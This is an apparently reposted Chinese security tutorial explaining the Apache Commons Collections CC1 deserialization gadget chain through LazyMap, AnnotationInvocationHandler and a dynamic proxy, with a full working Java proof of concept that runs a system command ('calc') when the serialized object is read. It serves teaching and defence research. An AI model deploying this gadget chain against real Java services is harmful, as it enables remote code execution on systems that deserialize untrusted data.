CC1链(LazyMap版)

admin 2026-02-08 00:35:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析了ApacheCommonsCollections1(CC1)反序列化漏洞的LazyMap利用链,与TransformedMap版不同,该链通过LazyMap.get()触发ChainedTransformer.transform()实现RCE。核心利用路径为:构造包含恶意InvokerTransformer链的ChainedTransformer,通过LazyMap.decorate绑定到空HashMap,利用AnnotationInvocationHandler配合JDK动态代理封装,最终通过反序列化触发Runtime.exec执行系统命令。文章提供了完整的JavaPOC代码,展示了从构造Transformer数组、动态代理封装到双层AnnotationInvocationHandler调用的完整攻击流程,适用于Java反序列化漏洞研究与防御参考。 综合评分: 78 文章分类: 漏洞分析,代码审计,安全开发,渗透测试,Java安全


cover_image

CC1链(LazyMap版)

原创

Pai Pai

湘岚实验室

2026年2月7日 13:16 江苏

CC1链(LazyMap版)

白日梦组长视频:https://www.bilibili.com/video/BV1yP4y1p7N7?spm_id_from=333.788.videopod.sections&vd_source=525a280615063349bad5e187f6bfeec3

分析链子

CC1 链除了TransformedMap的链子,还有个正版 CC1 链的LazyMap链子

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

image-20251210192507739

后面的部分和TransformedMap版的一样,然后就是要去往上一点点找链子了

在之前找ChainedTransformer里的transform方法可以被谁调用的时候,找的是TransformedMap里的checkSetValue()方法,除了这个之外还可以用LazyMap里的get()方法,也是可以调用的

image-20260204161638886

进去看看,可以看到是调用了factorytransform方法,去看看factory是什么

image-20260204163147968

发现factoryTransformer的,而且看样子可以更改,我们把factory改为ChainedTransformer就能走我们之前写的递归,然后走进if里面就调用了get,从而实现危险函数

image-20260204163317424

我们走进if就要确保没有key,即指定的keymap中不存在,这里的key就是要传入get()方法的参数

在往上就直接根据正版 CC1 链的链子看了,可以看到是用两次AnnotationInvocationHandler和一次动态代理来实现的

img

我们根据这个链子找,发现在invoke方法中的get是可控的

image-20260204164926231

这里可以用动态代理调用方法,当通过代理对象调用接口的任何方法的时候,这里的invoke方法就会自动调用,这里就需要找一个接口

大概链子就长这样

image-20251210201804200

回到函数

image-20260204170122523

这里有两个if条件,第一个是判断我们是不是equals方法,是就返回xxx,很明显我们不能这样,因为我们需要走进外面的Object result = memberValues.get(member);,第二个就是判断我们的方法是不是有参的,有参就报错,那我们就得找个无参方法

然后去看下面正好是调用了无参方法entrySet(),所以这就是动态代理要调用的方法

image-20260204170434989

memberValues.entrySet()这就是个无参方法

//动态代理
InvocationHandler h = (InvocationHandler) annotation.newInstance(Target.class,transformedMap);
Map mapProxy =(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

image-20260204171724269

他这里接收map我们就代理map

完整代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

publicclass test2 {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);
&nbsp; &nbsp; &nbsp; &nbsp; HashMap<Object,Object> map =&nbsp;new&nbsp;HashMap<>();
&nbsp; &nbsp; &nbsp; &nbsp; Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

&nbsp; &nbsp; &nbsp; &nbsp; Class &nbsp;c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
&nbsp; &nbsp; &nbsp; &nbsp; Constructor annotation = c.getDeclaredConstructor(Class.class,&nbsp;Map.class);
&nbsp; &nbsp; &nbsp; &nbsp; annotation.setAccessible(true);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//动态代理
&nbsp; &nbsp; &nbsp; &nbsp; InvocationHandler h = (InvocationHandler) annotation.newInstance(Target.class,lazyMap);

&nbsp; &nbsp; &nbsp; &nbsp; Map mapProxy =(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new&nbsp;Class[]{Map.class},h);
&nbsp; &nbsp; &nbsp; &nbsp; Object o = annotation.newInstance(Target.class,mapProxy);

&nbsp; &nbsp; &nbsp; &nbsp;// serialize(o);
&nbsp; &nbsp; &nbsp; &nbsp;unserialize("ser.bin");

&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;serialize(Object obj)&nbsp;throws&nbsp;IOException&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; ObjectOutputStream oos =&nbsp;new&nbsp;ObjectOutputStream(new&nbsp;FileOutputStream("ser.bin"));
&nbsp; &nbsp; &nbsp; &nbsp; oos.writeObject(obj);
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;Object&nbsp;unserialize(String Filename)&nbsp;throws&nbsp; IOException, ClassNotFoundException&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; ObjectInputStream ois =&nbsp;new&nbsp;ObjectInputStream(new&nbsp;FileInputStream(Filename));
&nbsp; &nbsp; &nbsp; &nbsp; Object obj = ois.readObject();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;obj;
&nbsp; &nbsp; }

}

代码整体分为 「构造恶意链式转换器」→「构造 LazyMap 恶意容器」→「动态代理封装」→「双层 AnnotationInvocationHandler 封装」→「反序列化触发」 5 个阶段

整个流程//解析代码

我们先创建transformers转换器数组并构造出能通过反射执行系统命令calc的恶意chainedTransformer链式转换器,

Transformer[] transformers =&nbsp;new&nbsp;Transformer[]{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;ConstantTransformer(Runtime.class),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;InvokerTransformer("getMethod",new&nbsp;Class[]{String.class,&nbsp;Class[].class},new&nbsp;Object[]{"getRuntime",&nbsp;null}),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;InvokerTransformer("invoke",&nbsp;new&nbsp;Class[]{Object.class,Object[].class},&nbsp;new&nbsp;Object[]{null,null}),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;InvokerTransformer("exec",new&nbsp;Class[]{String.class},new&nbsp;Object[]{"calc"}),
&nbsp; &nbsp; &nbsp; &nbsp; };
&nbsp; &nbsp; &nbsp; &nbsp; ChainedTransformer chainedTransformer &nbsp;=&nbsp;new&nbsp;ChainedTransformer(transformers);

再通过LazyMap.decorate方法将这个恶意转换器绑定到空的HashMap对象map上生成lazyMap,利用lazyMap调用get方法获取不存在的 Key 时会触发绑定转换器的特性埋好恶意逻辑;

&nbsp; &nbsp; &nbsp; &nbsp; HashMap<Object,Object> map =&nbsp;new&nbsp;HashMap<>();
&nbsp; &nbsp; &nbsp; &nbsp; Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

接着通过Class.forName反射获取 JDK 隐藏的AnnotationInvocationHandler类对象c,再通过getDeclaredConstructor拿到该类的构造器annotation并调用setAccessible(true)解锁私有构造器的使用权限,

&nbsp; &nbsp; &nbsp; &nbsp; Class &nbsp;c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
&nbsp; &nbsp; &nbsp; &nbsp; Constructor annotation = c.getDeclaredConstructor(Class.class,&nbsp;Map.class);
&nbsp; &nbsp; &nbsp; &nbsp; annotation.setAccessible(true);

先调用annotation.newInstance传入Target.class和恶意lazyMap创建该类实例并强转为InvocationHandler对象h,作为动态代理的调用处理器;然后通过Proxy.newProxyInstance方法,传入LazyMap的类加载器、Map接口类数组和处理器h,创建出无实际 Map 逻辑、所有操作都会转发给h的 Map 动态代理对象mapProxy;再调用annotation.newInstance传入Target.class和代理对象mapProxy,创建出最终的AnnotationInvocationHandler实例o,这个o是可序列化的恶意对象;

InvocationHandler h = (InvocationHandler) annotation.newInstance(Target.class,lazyMap);

Map mapProxy =(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new&nbsp;Class[]{Map.class},h);
Object o = annotation.newInstance(Target.class,mapProxy);

最后调用unserialize方法反序列化ser.bin文件时,会自动执行oreadObject方法,该方法会遍历并操作内部的mapProxymapProxy会将所有操作转发给处理器hinvoke方法,hinvoke方法会直接操作其持有的lazyMap并调用get方法,因lazyMap基于空HashMap无任何可用 Key,会触发绑定的chainedTransformer链式转换器,其内部的ConstantTransformer和三次InvokerTransformer会按顺序执行transform方法,通过反射依次调用Runtime.classgetMethodinvokeexec方法,最终执行calc命令弹出计算器。

-END-


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:湘岚实验室 Pai Pai《CC1链(LazyMap版)》

MYSQL事务隔离与锁机制 网络安全文章

MYSQL事务隔离与锁机制

文章总结: 本文详细解析MySQL事务隔离级别与锁机制的核心原理。首先阐述ACID特性及脏读、不可重复读、幻读三类并发问题,接着对比四种标准隔离级别(READU
评论:0   参与:  0